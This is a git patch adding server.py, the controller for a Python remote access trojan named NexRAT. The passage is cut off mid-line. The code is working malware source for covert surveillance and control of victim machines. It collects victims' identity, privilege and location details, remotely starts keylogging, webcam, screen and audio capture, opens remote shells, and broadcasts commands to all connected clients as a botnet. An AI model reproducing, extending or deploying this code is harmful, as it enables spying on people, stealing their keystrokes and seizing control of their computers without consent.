From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:06:25 +0200 Subject: NexRAT --- server.py | 1264 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1264 insertions(+) create mode 100644 server.py (limited to 'server.py') diff --git a/server.py b/server.py new file mode 100644 index 0000000..239f55f --- /dev/null +++ b/server.py @@ -0,0 +1,1264 @@ +import threading +import argparse +import shutil +import socket +import pickle +import zlib +import time +import os + +from colorama import init, Fore, Style +from win10toast import ToastNotifier +from subprocess import Popen, PIPE +from queue import Queue +from PIL import Image +init() + +print(Fore.LIGHTCYAN_EX, end='') +parser = argparse.ArgumentParser(description='A reverse TCP server, supporting multiple clients & powerful modules.') +parser.add_argument('-ip', '--internet_protocol', default='127.0.0.1', help='The internet protocol to host the server, don\'t specificy this option for local testing, else 127.0.0.1 or localhost is recommended.') +parser.add_argument('-p', '--port',type=int, default=1200, help='Port to be listening on for clients to connect to, default port is 1200.') +parser.add_argument('-mP', '--module_ports', default='1201,1202,1203,1204,1205', help='Set the ports the modules will be using in the order of stream, cam, audio, keylogger, talk.Default is 1201,1202,1203,1204,1205.') +parser.add_argument('-b', '--banner', action='store_false', help='To display the banner upon running the program, use this flag to hide the banner. Default is True.') +parser.add_argument('-u', '--username', default=None, help='Set the username of your server. Default is your computers username.') +parser.add_argument('-t', '--theme', default='light', help='Specify theme the program. specify dark for white terminal windows. Default is light.') +parser.add_argument('-e', '--encoding', default='latin-1', help='Encoding to be used when sending & recieveing data over the wire, default is latin-1.') +parser.add_argument('-n', '--notice', action='store_false', help='To recieve a notice in the console when a client connect to the server. Default is True.') +parser.add_argument('-eN', '--email_notice', default='False,None,None,[]', help='To recieve a notice in your email when a client connect to the server, format: True|False,email,email password, other emails than your own seperated by comma (Optional). Default is False,None,None,[]') +parser.add_argument('-d', '--duplicates', action='store_false', help='To enable duplicate connections from the same computer, this is recognized matching computers usernames. Can be enabled in cases of multiple persons with the exact same username. Default is False.') +parser.add_argument('-w', '--whoami', action='store_false', help='To disable collecting detailed information on client connection. May be a choice for recurring or frequent clients connecting, making the connection faster. Default is True.') +parser.add_argument('-H', '--history', action='store_false', help='To disable a history log of connection & disconnection of every person. Default is True.') +parser.add_argument('-uL', '--use_latest', action='store_true', help='To use settings from last time running the script. Default is False.') +args = parser.parse_args() +print(Style.RESET_ALL, end='') + +from Utilities.db_queries import * +update_db(args.use_latest, args.internet_protocol, args.port, args.module_ports) +from Specific.encrypt import Encryption +from Modules.Servers.keylogger import * +from Modules.Servers.stream import * +from Modules.Servers.audio import * +from Modules.Servers.talk import * +from Modules.Servers.cam import * +from Specific.mail import Email +from Utilities.server import * + + +class Server: + # Socket, queue & encryption + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + q = Queue() + encrypt = Encryption() + toaster = ToastNotifier() + # headersize + headersize = 10 + # Threads & jobs + threads = 2 + jobs = [1, 2] + # Connections & addresses + connections = [] + addresses = [] + usernames = [] + priveldges = [] + information = [] + # Program & session timers + sessionTime = '' + runningTime = '' + # Message transfer + new_msg = True + msg_len = 0 + full_msg = b'' + msg = '' + # Keep alive & connect notice + keep_alive_timer = 60 + # Filter client + filter_client = None + # Session clear screen + session_clear_screen = False + + + """ + The method called upon instantiation to provide & + verify the options specified by the user available + as command line arguments. + """ + def __init__(self, ip, port, username, theme, encoding, console_notice, email_notice, duplicates, whoami, history, banner, module_ports): + # Ip & port & encoding + self.ip = ip + self.port = port + self.module_ports = module_ports + self.banner = set_bool(banner) + self.duplicates = set_bool(duplicates) + self.history = set_bool(history) + self.whoami = set_bool(whoami) + self.encoding = set_encoding(encoding) + # Username & theme + self.username = set_username(username) + self.theme = set_theme(theme) + # Notices + self.console_notice = set_bool(console_notice) + self.email_notice = set_email(email_notice) + + + """ + Listens for connections to accept & handle for + in the methods below. It simply is setting up, + binding & listening to a socket. + """ + def listen(self): + try: + Server.s.bind((self.ip, self.port)) + Server.s.listen() + except: + msg_len = len(f'Binding socket to IP[{self.ip}] PORT[{self.port}] failed.') + print(f'{self.theme[1]}\n{"-" * msg_len}\nBinding socket to IP[{Style.RESET_ALL}{self.theme[3]}{self.ip}{Style.RESET_ALL}]{self.theme[1]} PORT[{Style.RESET_ALL}{self.theme[3]}{self.port}{Style.RESET_ALL}{self.theme[1]}] failed.\n{"-" * msg_len}{Style.RESET_ALL}') + os._exit(0) + + + """ + How to handle the connections coming in, adding + the data of who this client is to lists, files + & verifying the connection is coming through + the client script & not any foreign program. + """ + def accept(self): + # Close all Server.connections + for connection in Server.connections: + connection.close() + + # Reset Server.connections & Server.addresses + del Server.connections[:] + del Server.addresses[:] + + # Accept all clients & append data to lists + while True: + client, address = Server.s.accept() + data = '' + try: + if self.whoami: + data = self.send_message(client, 'dk7ad6mwo5apwr4khg') + # Options - Duplicate flag + if self.duplicates is False and data[0][0] in Server.usernames: + client.close() + continue + # Append data to lists + Server.usernames.append(data[0][0]) + Server.priveldges.append(data[0][1]) + Server.information.append(data[1]) + + info = '' + for typez, item in data[1]: + info += f'{typez}: {item}\n' + + dirs = ['Data', f'Data/{data[0][0]}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{data[0][0]}/{data[0][0]}.txt', 'w') as f: + f.write(f'USER: {data[0][0]}\nIP: {address[0]}\nPORT: {address[1]}\n{info}') + else: + data = self.send_message(client, 'aij4sawxorng2u9w5ar7') + # Options - Duplicate flag + if self.duplicates is False and data[0] in Server.usernames: + client.close() + continue + # Append data to lists + Server.usernames.append(data[0]) + Server.priveldges.append(data[1]) + Server.information.append([('OS', 'UNSET'), ('COMPUTER', 'UNSET'), ('VERSION', 'UNSET'), ('EXACT VERSION', 'UNSET'), ('MACHINE', 'UNSET'), ('PROCESSOR', 'UNSET'), ('LOCAL IP', 'UNSET'), ('IP', 'UNSET'), ('HOSTNAME', 'UNSET'), ('CITY', 'UNSET'), ('REGION', 'UNSET'), ('COUNTRY', 'UNSET'), ('LOC', 'UNSET'), ('POSTAL', 'UNSET'), ('ORG', 'UNSET')]) + except: + client.close() + continue + Server.connections.append(client) + Server.addresses.append(address) + + # Options - History, Whoami, Notice & Email Notice + if self.history: + user = '' + if self.whoami: + user = data[0][0] + else: + user = data[0] + + now = time.strftime('%Y-%m-%d (%H-%M-%S)') + dirs = ['Data', f'Data/{user}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f: + msg = f'CONNECTION: ({now})' + f.write(f'{msg}\n{"-" * len(msg)}\n') + + if self.console_notice: + now = time.strftime('%H:%M') + Server.toaster.show_toast('Connection Notice!', f'{user} Connected! ({now})\nAddress: {address[0]}:{address[1]}', icon_path=None, duration=5, threaded=True) + + if self.email_notice[0]: + try: + info = '' + if self.whoami: + for typez, item in data[1]: + info += f'\n{typez}: {item}' + now = timer() + subject = f'Connection! {now}' + text = f'CONNECTION: {user}\nIP: {address[0]}\nPORT: {address[1]}\nWHEN: {now}{info}' + Email(self.email_notice[1], self.email_notice[2], self.email_notice[1].split() + self.email_notice[3], subject, text).send_email() + except: + print(f'{self.theme[1]}\nFailed to send email notification.\nPlease check your configuration options.\n\n{Style.RESET_ALL}{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='') + + + """ + Shell is the handler for everything it lets you + delete, list & connect with clients. It allows + you to specify options of how the program should + operate but also has special features like the + "all" command to allowing botnet like behaviour. + """ + def shell(self): + # Setup shell + clear_screen() + Server.runningTime = timer() + if self.banner: + banner(self.theme) + # Setup thread + threading.Thread(target=self.keepAlive, daemon=True).start() + + while True: + try: + # Setup input + print(f'{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='') + try: + shell_msg = readInput(self.encoding, True).lower() + except TimeoutError: + continue + + # Running modules + if shell_msg == 'running': + print(f'{self.theme[2]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}\n{Style.RESET_ALL}') + continue + + # Stream + elif shell_msg[:6] == 'stream': + try: + if shell_msg[7:11] == 'kill': + print(f'{self.theme[2]}{set_stream_settings(shell_msg[12:])}{Style.RESET_ALL}\n') + else: + self.session(self.getConn(int(shell_msg[7:])), True, 'stream') + except: + print(f'{self.theme[2]}Failed to handle stream.{Style.RESET_ALL}\n') + + # Cam + elif shell_msg[:3] == 'cam': + try: + if shell_msg[4:8] == 'kill': + print(f'{self.theme[2]}{set_cam_settings(shell_msg[9:])}{Style.RESET_ALL}\n') + else: + args = shell_msg[4:].split() + self.session(self.getConn(int(args[0])), True, f'cam {args[1]} {args[2]}') + except: + print(f'{self.theme[2]}Failed to handle cam.{Style.RESET_ALL}\n') + + # Audio + elif shell_msg[:5] == 'audio': + try: + if shell_msg[6:10] == 'kill': + print(f'{self.theme[2]}{set_audio_settings(shell_msg[11:])}{Style.RESET_ALL}\n') + else: + self.session(self.getConn(int(shell_msg[6:])), True, 'audio') + except: + print(f'{self.theme[2]}Failed to handle audio.{Style.RESET_ALL}\n') + + # Keylogger + elif shell_msg[:9] == 'keylogger': + if shell_msg[10:14].lower() == 'kill': + print(f'{self.theme[2]}{set_keylogger_settings(shell_msg[15:])}{Style.RESET_ALL}\n') + elif shell_msg[10:14] == 'text': + try: + data = get_logs(int(shell_msg[15:])) + print(f'{self.theme[2]}{data[1]}{Style.RESET_ALL}\n') + except: + print(f'{self.theme[2]}Failed to type logs.{Style.RESET_ALL}\n') + elif shell_msg[10:15] == 'image': + try: + data = get_logs(int(shell_msg[16:])) + assert data[0] is not None + dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + image = text_image(data[1]) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + print(f'{self.theme[2]}Logs visualization complete!{Style.RESET_ALL}\n') + except: + print(f'{self.theme[2]}Failed to visualize logs.{Style.RESET_ALL}\n') + else: + try: + self.session(self.getConn(int(shell_msg[10:])), True, 'keylogger') + except: + print(f'{self.theme[2]}Failed to handle keylogger.{Style.RESET_ALL}\n') + + # Talk + elif shell_msg[:4] == 'talk': + try: + if shell_msg[5:9] == 'kill': + print(f'{self.theme[2]}{set_talk_settings(shell_msg[10:])}{Style.RESET_ALL}\n') + else: + self.session(self.getConn(int(shell_msg[5:])), True, 'talk') + except: + print(f'{self.theme[2]}Failed to handle talk.{Style.RESET_ALL}\n') + + # Server shell + elif shell_msg[:6] == 'server': + try: + data = Popen(shell_msg[7:], shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + print(f'{self.theme[2]}{data.stdout.read().decode(self.encoding).strip()}{data.stderr.read().decode(self.encoding).strip()}{Style.RESET_ALL}\n'.replace('ÿ', ' ')) + except: + print(f'{self.theme[2]}Something went wrong running shell command.\n{Style.RESET_ALL}') + + # Archive + elif shell_msg[:7] == 'archive': + try: + if shell_msg.strip() == 'archive': + raise Exception('No data to archive') + if shell_msg[-2:] == '-a': + shutil.make_archive('Data', 'zip', f'{os.getcwd()}/Data') + shutil.rmtree(f'{os.getcwd()}/Data') + else: + user = shell_msg[8:] + shutil.make_archive(user.capitalize(), 'zip', f'{os.getcwd()}/Data/{user.capitalize()}') + shutil.rmtree(f'{os.getcwd()}/Data/{user}') + print(f'{self.theme[2]}Successfully archived your data!\n{Style.RESET_ALL}') + except: + print(f'{self.theme[1]}Something went wrong trying to archive your data.\n{Style.RESET_ALL}') + + # Whoami + elif shell_msg[:6] == 'whoami': + try: + target = int(shell_msg[7:]) + # Filter enabled + Server.filter_client = Server.addresses[target][1] + data = self.send_message(Server.connections[target], 'dk7ad6mwo5apwr4') + # Filter disabled + Server.filter_client = None + Server.information[target] = data + + info = '' + for typez, item in data: + info += f'{typez}: {item}\n' + + dirs = ['Data', f'Data/{Server.usernames[target]}'] + setup_directory(dirs) + with open(f'{os.getcwd()}/Data/{Server.usernames[target]}/{Server.usernames[target]}.txt', 'w') as f: + f.write(f'USER: {Server.usernames[target]}\nADMIN: {Server.priveldges[target]}\nIP: {Server.addresses[target][0]}\nPORT: {Server.addresses[target][1]}\n{info}') + print(f'{self.theme[2]}Whoami complete on connection {target}!\n{Style.RESET_ALL}\n', end='') + except: + print(f'{self.theme[1]}Something went wrong running whoami.\n{Style.RESET_ALL}') + + # Send all + elif shell_msg[:3] == 'all': + # If no clients + if len(Server.connections) == 0: + print(f'{self.theme[1]}No clients connected\n{Style.RESET_ALL}') + + for index, connection in enumerate(Server.connections): + try: + out = f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}' + out_length = len(str(index) + Server.usernames[index] + str(Server.priveldges[index]) + Server.addresses[index][0] + str(Server.addresses[index][1]) + '[] ADMIN[] IP[] PORT[]') + print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}') + + client_msg = self.session(self.getConn(index), True, shell_msg[4:]) + if client_msg: + self.delete_client(index, Server.usernames[index]) + except: + print(f'{self.theme[1]}Something went wrong sending message.\n{Style.RESET_ALL}') + + # List + elif shell_msg[:4] == 'list' or shell_msg[:2] == 'ls': + if shell_msg == 'list' or shell_msg == 'ls': + self.list_connections(False) + elif shell_msg == 'list -l' or shell_msg == 'ls -l': + self.list_connections(True) + else: + print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='') + + # Select + elif shell_msg[:7] == 'session': + try: + target = int(shell_msg[8:]) + conn = self.getConn(target) + if conn is not None: + self.session(conn) + except: + print(f'{self.theme[2]}\'{shell_msg[8:]}\' is not a valid session.\n{Style.RESET_ALL}') + + # Client + elif shell_msg[:6] == 'client': + try: + args = shell_msg.split() + target = int(args[1]) + cmd = ' '.join(args[2:]) + out = f'{self.theme[2]}{Server.usernames[target]}[{Style.RESET_ALL}{self.theme[3]}{target}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[target]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}' + out_length = len(str(target) + Server.usernames[target] + str(Server.priveldges[target]) + Server.addresses[target][0] + str(Server.addresses[target][1]) + '[] ADMIN[] IP[] PORT[]') + print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}') + self.session(self.getConn(target), True, cmd) + except: + if len(Server.connections) == 0: + print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='') + else: + print(f'{self.theme[1]}Something went wrong, please try again.\n\n{Style.RESET_ALL}', end='') + + # Delete + elif shell_msg[:3] == 'del': + try: + if shell_msg[4:] == '*': + if len(Server.connections) == 0: + print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='') + else: + self.delete_client(':', '*') + print(f'{self.theme[2]}All connections deleted!\n\n{Style.RESET_ALL}', end='') + else: + self.delete_client(int(shell_msg[4:]), Server.usernames[int(shell_msg[4:])]) + print(f'{self.theme[2]}Connection ({Style.RESET_ALL}{self.theme[3]}{shell_msg[4:]}{Style.RESET_ALL}{self.theme[2]}) deleted!\n\n{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[2]}\'{shell_msg[4:]}\' is not a valid connection to delete.\n\n{Style.RESET_ALL}', end='') + + # Options + elif shell_msg == 'options': + if len(self.email_notice[3]) > 0: + emails_connector = ', ' + else: + emails_connector = '' + + quick_mode = False + if self.history is False and self.whoami is False and self.email_notice[0] is False: + quick_mode = True + + if self.email_notice[0]: + email_info_notice = f' - Email Notice: True\n - Email: {self.email_notice[1]}\n - Password: {self.email_notice[2]}\n - To: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}' + else: + email_info_notice = f' - Email Notice: False\n - Email: {self.theme[1]}(Unused: {self.email_notice[1]}){Style.RESET_ALL}{self.theme[2]}\n - Password: {Style.RESET_ALL}{self.theme[1]}(Unused: {self.email_notice[2]}){Style.RESET_ALL}{self.theme[2]}\n - To: {Style.RESET_ALL}{self.theme[1]}(Unused: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}){Style.RESET_ALL}' + module_ports_keys = ('Stream', 'Cam', 'Audio', 'Keylogger', 'Talk') + module_ports_data = '' + for index, moudle_port in enumerate(self.module_ports): + module_ports_data += f'\n {self.theme[2]}- {module_ports_keys[index]}:{Style.RESET_ALL} {self.theme[1]}(Constant: {moudle_port}){Style.RESET_ALL}' + print(f'{self.theme[1]}Options Available:{Style.RESET_ALL}{self.theme[2]}\n - IP: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.ip}){Style.RESET_ALL}{self.theme[2]}\n - PORT: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.port}){Style.RESET_ALL}{self.theme[2]}\n - MODULE PORTS:{Style.RESET_ALL} {module_ports_data}{Style.RESET_ALL}{self.theme[2]}\n - Quick Mode: {quick_mode}\n - Username: {self.username}\n - Theme: {self.theme[-1]}\n - Encoding: {self.encoding}\n - History: {self.history}\n - Whoami: {self.whoami}\n - Notice: {self.console_notice}\n - Duplicates: {self.duplicates}\n{email_info_notice}\n{Style.RESET_ALL}') + + # Set options + elif shell_msg[:3] == 'set': + try: + value = shell_msg[4:].split('=') + assert len(value) == 2 + getVal = value[0].lower().strip() + setVal = value[1].strip() + result = f'{self.theme[2]}Option successfully set:{Style.RESET_ALL} {self.theme[1]}{" ".join([x.capitalize().strip() for x in value[0].split()])}=' + + # Quick mode + if getVal == 'quick mode': + output_bool = False + if setVal == 'true': + output_bool = True + self.history = False + self.whoami = False + self.email_notice[0] = False + elif setVal == 'false': + self.history = True + self.whoami = True + else: + raise Exception('Something went wrong.') + result += str(output_bool) + + # Username + elif getVal == 'username': + self.username = set_username(setVal) + result += self.username + + # Theme + elif getVal == 'theme': + self.theme = set_theme(setVal) + result += self.theme[-1] + + # Encoding + elif getVal == 'encoding': + self.encoding = set_encoding(setVal) + result += self.encoding + + # History + elif getVal == 'history': + if setVal == 'true': + self.history = True + elif setVal == 'false': + self.history = False + else: + raise Exception('Something went wrong.') + result += str(self.history) + + # Whoami + elif getVal == 'whoami': + if setVal == 'true': + self.whoami = True + elif setVal == 'false': + self.whoami = False + else: + raise Exception('Something went wrong.') + result += str(self.whoami) + + # Console notice + elif getVal == 'notice': + if setVal == 'true': + self.console_notice = True + elif setVal == 'false': + self.console_notice = False + else: + raise Exception('Something went wrong.') + result += str(self.console_notice) + + # Duplicates + elif getVal == 'duplicates': + if setVal == 'true': + self.duplicates = True + elif setVal == 'false': + self.duplicates = False + else: + raise Exception('Something went wrong.') + result += str(self.duplicates) + + # Email notice + elif getVal == 'email notice': + if setVal == 'true': + self.email_notice[0] = True + elif setVal == 'false': + self.email_notice[0] = False + else: + raise Exception('Something went wrong.') + result += str(self.email_notice[0]) + + elif getVal == 'email': + if '@' in setVal: + self.email_notice[1] = setVal + result += self.email_notice[1] + else: + raise Exception('Something went wrong.') + + elif getVal == 'password': + if len(setVal) > 0: + self.email_notice[2] = setVal + result += self.email_notice[2] + else: + raise Exception('Something went wrong.') + + elif getVal == 'to': + if len(setVal) > 0: + self.email_notice[3] = setVal.split(',') + result += ', '.join(self.email_notice[3]) + else: + raise Exception('Something went wrong.') + + else: + print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}{getVal.capitalize()} option not found.\n') + continue + + print(f'{result}\n{Style.RESET_ALL}') + except: + print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}Something went wrong.\n{Style.RESET_ALL}') + + # Time + elif shell_msg == 'time': + print(f'{self.theme[2]}Start time: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') + print(f'{self.theme[2]}Current time: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') + + # Banner + elif shell_msg == 'banner': + banner(self.theme) + + # Clear + elif shell_msg == 'clear' or shell_msg == 'cls': + clear_screen() + + # Exit + elif shell_msg == 'exit' or shell_msg == 'quit': + self.delete_client(':', '*') + print(f'{self.theme[2]}Program start: [{Style.RESET_ALL}{self.theme[3]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}') + print(f'{self.theme[2]}Program end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}') + print(f'{self.theme[4]}Bye!{Style.RESET_ALL}') + os._exit(0) + + else: + print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='') + except KeyboardInterrupt: + print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}') + + + """ + Session provides the program with all the functionality, + takes care of modules & special commands. It allows you + to establish an reverse shell with the built in tools. + But it also allows you to use one command & get the output + & print out the result. + """ + def session(self, conn, target=None, message=None, stdout=True): + # Filter client + Server.filter_client = conn[1][1] + Server.sessionTime = timer() + + if target is None: + clear_screen() + print(f'{self.theme[1]}Connection to {Style.RESET_ALL}{self.theme[2]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\'s computer has been established!{Style.RESET_ALL}', end='') + + while True: + try: + # Session input + if target is None: + if Server.session_clear_screen: + Server.session_clear_screen = False + print(f'{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='') + else: + print(f'\n\n{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='') + msg = readInput(self.encoding, Server.keep_alive_timer * 2) + else: + msg = message + Server.msg = msg + if Server.msg.lower() == 'stream': + Server.msg = f'stream {self.ip}:{self.module_ports[0]}' + elif Server.msg[:3].lower() == 'cam' and len(Server.msg.split()) == 3: + args = Server.msg.split() + Server.msg = f'cam {self.ip}:{self.module_ports[1]} {args[1]} {args[2]}' + elif Server.msg.lower() == 'audio': + Server.msg = f'audio {self.ip}:{self.module_ports[2]}' + elif Server.msg.lower() == 'keylogger': + Server.msg = f'keylogger {self.ip}:{self.module_ports[3]}' + elif Server.msg.lower() == 'talk': + Server.msg = f'talk {self.ip}:{self.module_ports[4]}' + # Stdout msg + stdout_save = Server.msg + # Save stdout + if Server.msg[-5:].lower() == '-b -i' or Server.msg[-5:].lower() == '-i -b': + Server.msg = Server.msg[:-6] + elif Server.msg[-2:].lower() == '-b' or Server.msg[-2:].lower() == '-i': + Server.msg = Server.msg[:-3] + pickled_msg = pickle.dumps({'message': Server.msg}) + compressed_msg = zlib.compress(pickled_msg, 1) + encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) + final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg + + # Running modules + if Server.msg.lower() == 'running': + print(f'{self.theme[1]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Stream + elif Server.msg[:6].lower() == 'stream': + try: + if Server.msg[7:11].lower() == 'kill': + try: + print(f'{self.theme[1]}{set_stream_settings(Server.msg[12:])}{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[1]}Failed to kill stream.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stream'] + setup_directory(dirs) + threading.Thread(target=Stream, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Stream', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Stream failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Cam + elif Server.msg[:3].lower() == 'cam': + try: + if Server.msg[4:8].lower() == 'kill': + print(f'{self.theme[1]}{set_cam_settings(Server.msg[9:])}{Style.RESET_ALL}\n') + if target is None: + continue + else: + Server.filter_client = None + break + + args = Server.msg[4:].split() + cam_size = args[2].split(',') + address = args[0].split(':') + assert len(Server.msg.split()) == 4 and len(cam_size) == 2 and len(address) == 2 + cam_size = tuple([int(cam_size[0]), int(cam_size[1])]) + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Cam'] + setup_directory(dirs) + threading.Thread(target=Cam, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Cam', conn[2], cam_size], daemon=True).start() + except: + print(f'{self.theme[1]}Cam failed to run (server).{Style.RESET_ALL}\n') + if target is None: + continue + else: + Server.filter_client = None + break + + # Audio + elif Server.msg[:5].lower() == 'audio': + try: + if Server.msg[6:10].lower() == 'kill': + print(f'{self.theme[1]}{set_audio_settings(Server.msg[11:])}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Audio'] + setup_directory(dirs) + threading.Thread(target=Audio, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Audio', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Audio failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Keylogger + elif Server.msg[:9].lower() == 'keylogger': + try: + if Server.msg[10:14].lower() == 'kill': + print(f'{self.theme[1]}{set_keylogger_settings(Server.msg[15:])}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + elif Server.msg[10:14].lower() == 'text': + try: + data = get_logs(int(Server.msg[15:])) + print(f'{self.theme[1]}{data[1]}{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[1]}Failed to type logs.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + elif Server.msg[10:15].lower() == 'image': + try: + data = get_logs(int(Server.msg[16:])) + assert data[0] is not None + dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images'] + setup_directory(dirs) + fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') + image = text_image(data[1]) + image.show() + image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}') + print(f'{self.theme[1]}Logs visualization complete!{Style.RESET_ALL}', end='') + except: + print(f'{self.theme[1]}Failed to visualize logs.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Keylogger'] + setup_directory(dirs) + threading.Thread(target=Keylogger, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Keylogger', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Keylogger failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Talk + elif Server.msg[:4].lower() == 'talk': + try: + if Server.msg[5:9].lower() == 'kill': + print(f'{self.theme[1]}{set_talk_settings(Server.msg[10:])}{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Talk'] + setup_directory(dirs) + threading.Thread(target=Talk, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Talk', conn[2]], daemon=True).start() + except: + print(f'{self.theme[1]}Talk failed to run (server).{Style.RESET_ALL}', end='') + if target is None: + continue + else: + Server.filter_client = None + break + + # Upload + if Server.msg[:6].lower() == 'upload': + try: + dirs = ['Data', 'Uploads'] + setup_directory(dirs) + args = Server.msg[7:] + if Server.msg[-2:].lower() == '-e': + args = Server.msg[7:-3] + with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'rb') as f: + pickled_msg = pickle.dumps({'message': Server.msg, 'image': f.read()}) + compressed_msg = zlib.compress(pickled_msg, 1) + encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) + final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg + conn[0].send(final_msg) + except: + print(f'{self.theme[1]}Uploading {args} failed, please try again.{Style.RESET_ALL}', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Note + elif Server.msg[:4].lower() == 'note': + try: + note = Server.msg[5:].split('=>') + assert len(note) == 2 + if note[0] == '': + note[0] = 'global' + if note[1] == '': + raise Exception('Note message is empty.') + dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Notes'] + setup_directory(dirs) + with open(f'{os.getcwd()}/{dirs[-1]}/{note[0].strip()}.txt', 'a') as f: + f.write(f'{note[1].strip()} [{time.strftime("%Y-%m-%d %H:%M-%S")}]\n') + print(f'{self.theme[1]}Note{Style.RESET_ALL}{self.theme[3]} {note[0].strip()}.txt{Style.RESET_ALL}{self.theme[1]} written to complete!', end='') + except: + print(f'{self.theme[1]}Writing note failed, please try again.', end='') + if target is None: + continue + else: + print('\n') + Server.filter_client = None + break + + # Whoami + elif Server.msg.lower() == 'whoami': + info = '' + for typez, item in conn[4]: + info += f'\n{self.theme[1]}{typez}: 